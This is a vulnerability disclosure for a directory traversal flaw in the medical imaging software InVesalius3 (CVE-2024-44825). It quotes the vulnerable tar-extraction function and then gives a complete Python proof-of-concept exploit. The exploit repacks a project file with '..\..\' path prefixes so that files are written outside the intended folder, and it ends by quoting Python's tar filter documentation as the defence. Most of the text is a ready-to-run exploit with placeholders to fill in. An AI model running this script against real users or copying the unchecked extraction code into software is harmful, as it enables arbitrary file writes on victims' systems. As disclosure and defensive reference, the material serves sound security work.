Directory Traversal vulnerability in Centro de Tecnologia da Informaco Renato Archer InVesalius3 v3.1.99995 allows attackers to write arbitrary files unto the system via a crafted .inv3 file.
def Extract(filename: Union[str, bytes, os.PathLike], folder: Union[str, bytes, os.PathLike]):
if _has_win32api:
folder = win32api.GetShortPathName(folder)
folder = decode(folder, const.FS_ENCODE)
tar = tarfile.open(filename, "r")
idir = decode(os.path.split(tar.getnames()[0])[0], "utf8")
os.mkdir(os.path.join(folder, idir))
filelist = []
for t in tar.getmembers():
fsrc = tar.extractfile(t)
if fsrc is None:
raise Exception("Error extracting file")
fname = os.path.join(folder, decode(t.name, "utf-8"))
fdst = open(fname, "wb")
shutil.copyfileobj(fsrc, fdst)
filelist.append(fname)
fsrc.close()
fdst.close()
del fsrc
del fdst
tar.close()
return filelist
# Exploit Title: Invesalius 3.1 - Arbitrary File Write using Directory Traversal
# Discovered By: Riccardo Degli Esposti (partywave)
# Exploit Author: Riccardo Degli Esposti (partywave)
# Vendor Homepage: https://invesalius.github.io/
# Software Link: https://github.com/invesalius/invesalius3/tree/master/invesalius
# Version: from 3.1.99995
# Tested on: Windows
# CVE-ID: CVE-2024-44825
import tarfile
import os
import zipfile
# Disclaimer:
# Tested on Windows
# edit every [CHANGEME] before run this script
# Step 0: Setup local paths
# Adapt your paths
zip_file_path = 'C:\\users\\[CHANGEME]\\downloads\\[CHANGEME].zip'
extracted_folder = 'C:\\users\\[CHANGEME]\\downloads\\[CHANGEME]'
output_tar = 'C:\\users\\[CHANGEME]\\downloads\\local-output.inv3'
main_plist_path = os.path.join(extracted_folder, 'main.plist')
# Ensure the extraction directory exists
os.makedirs(extracted_folder, exist_ok=True)
# Step 1: Extract the ZIP file
with zipfile.ZipFile(zip_file_path, 'r') as zip_ref:
zip_ref.extractall(extracted_folder)
with open(main_plist_path, 'r') as file:
main_plist_content = file.read()
# POC of loading new XML
main_plist_content = main_plist_content.replace(
'<string>ProMED CT 0051</string>',
'<string>This is a confirmation modifying the XML</string>'
)
with open(main_plist_path, 'w') as file:
file.write(main_plist_content)
# Step 3: Create the tar archive
# Adapt where you want write
def rename(tarinfo):
tarinfo.name = "..\\..\\[CHANGEME]\\" + tarinfo.name
return tarinfo
with tarfile.open(output_tar, "w:xz") as tar:
for root, _, files in os.walk(extracted_folder):
for file in files:
full_path = os.path.join(root, file)
arcname = os.path.relpath(full_path, extracted_folder)
tar.add(full_path, arcname=arcname, filter=rename)
output_tar
"tarfile.tar_filter(member, path) : Implements the 'tar' filter."
"Strip leading slashes (/ and os.sep) from filenames.
Refuse to extract files with absolute paths (in case the name is absolute even after stripping slashes, e.g. C:/foo on Windows). This raises AbsolutePathError.
Refuse to extract files whose absolute path (after following symlinks) would end up outside the destination. This raises OutsideDestinationError.
Clear high mode bits (setuid, setgid, sticky) and group/other write bits (S_IWGRP | S_IWOTH)."